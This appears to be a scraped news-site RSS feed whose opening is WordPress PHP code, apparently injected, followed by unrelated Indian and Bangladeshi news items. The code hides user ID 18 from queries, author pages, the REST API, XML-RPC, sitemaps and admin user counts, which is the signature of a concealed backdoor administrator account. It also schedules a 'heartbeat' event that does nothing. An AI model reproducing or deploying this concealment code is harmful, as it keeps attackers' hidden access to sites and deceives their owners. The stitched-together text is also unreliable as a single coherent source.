add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Woman Doctor Dies by Suicide in Maharashtra; Alleges Rape and Harassment by Police Officers appeared first on The Edge Media.
]]>The deceased, originally from Beed district, had been employed at a government facility in Phaltan tehsil. Police were alerted after the woman’s body was discovered hanging in her hotel room, an official confirmed.
Taking immediate notice of the case, Chief Minister Devendra Fadnavis spoke to the Satara Superintendent of Police and ordered the suspension of the two officers named in the note. Fadnavis, who also heads the Home Department, directed authorities to take strict legal action against all those involved, the Chief Minister’s Office stated in an official release.
In a note written on her palm, the doctor alleged that Sub-Inspector Gopal Badane had raped and sexually assaulted her multiple times over the past five months. Another police official, Prashant Bankar, was accused of mentally harassing her during the same period.
Police confirmed that a case has been registered and that the victim’s body has been sent for post-mortem examination. Investigations are underway into the allegations mentioned in the note.
Reacting to the incident, Maharashtra State Women’s Commission Chief Rupali Chakankar said, “We have taken serious note of the matter and directed Satara Police to take strong action against the accused. Dedicated teams are tracking down those responsible, and no one involved will be spared.”
The case has sparked widespread outrage, with calls for a thorough investigation and justice for the victim.
The post Woman Doctor Dies by Suicide in Maharashtra; Alleges Rape and Harassment by Police Officers appeared first on The Edge Media.
]]>The post Arvind Kejriwal To Form Coalition of 130 Crore Indians appeared first on The Edge Media.
]]>Kejriwal, who is also the Aam Aadmi Party’s national convener, slammed the BJP of “playing gimmicks.” He further said that BJP leaders are “disappointed” with how the democratic platform is being used them to publicize The Kashmir Files.
The post Arvind Kejriwal To Form Coalition of 130 Crore Indians appeared first on The Edge Media.
]]>The post Justice Rohinton Nariman resigns, Citing Concerns about Free Speech and Privacy appeared first on The Edge Media.
]]>Nariman, the son of renowned jurist Fali Nariman and a Harvard Law School postgraduate was appointed as a senior counsel in December 1993, at the age of 37.
He was appointed Solicitor General of India for three years in July 2011 while working as a senior counsel at the Supreme Court. However, in February 2013, he resigned from his job. There was speculation that he resigned due to disagreements with the then-law minister, Ashwani Kumar, but his resignation letter provided no clues.
The post Justice Rohinton Nariman resigns, Citing Concerns about Free Speech and Privacy appeared first on The Edge Media.
]]>The post Bangladesh to Impose 7-day Nationwide Lockdown Amidst Spike in Covid-19 Cases appeared first on The Edge Media.
]]>Bangladesh on Friday logged 6,830 new cases of the coronavirus, the highest count in a day, taking the tally of infections to 624,594. The death toll climbed by 50 in 24 hours to 9,155, according to data released by the government. In a bid to arrest the spread of the coronavirus, the government has decided to enforce a seven-day lockdown from Monday as the coronavirus cases and deaths are surging across the country, Quader, also the general secretary of the ruling Awami League, said.
However, the order does not apply to utility and emergency services. Factories will remain open and workers can work shifts by following hygiene rules, the report said.
Every office and court will be closed during this lockdown but industries and mills will continue their operation on rotation, State Minister for Public Administration Farhad Hossain was quoted as saying by the Dhaka Tribune. Asked why industries will not be closed, the minister said: If we close the mills then the workers may have to leave their workstations and head for home.
The post Bangladesh to Impose 7-day Nationwide Lockdown Amidst Spike in Covid-19 Cases appeared first on The Edge Media.
]]>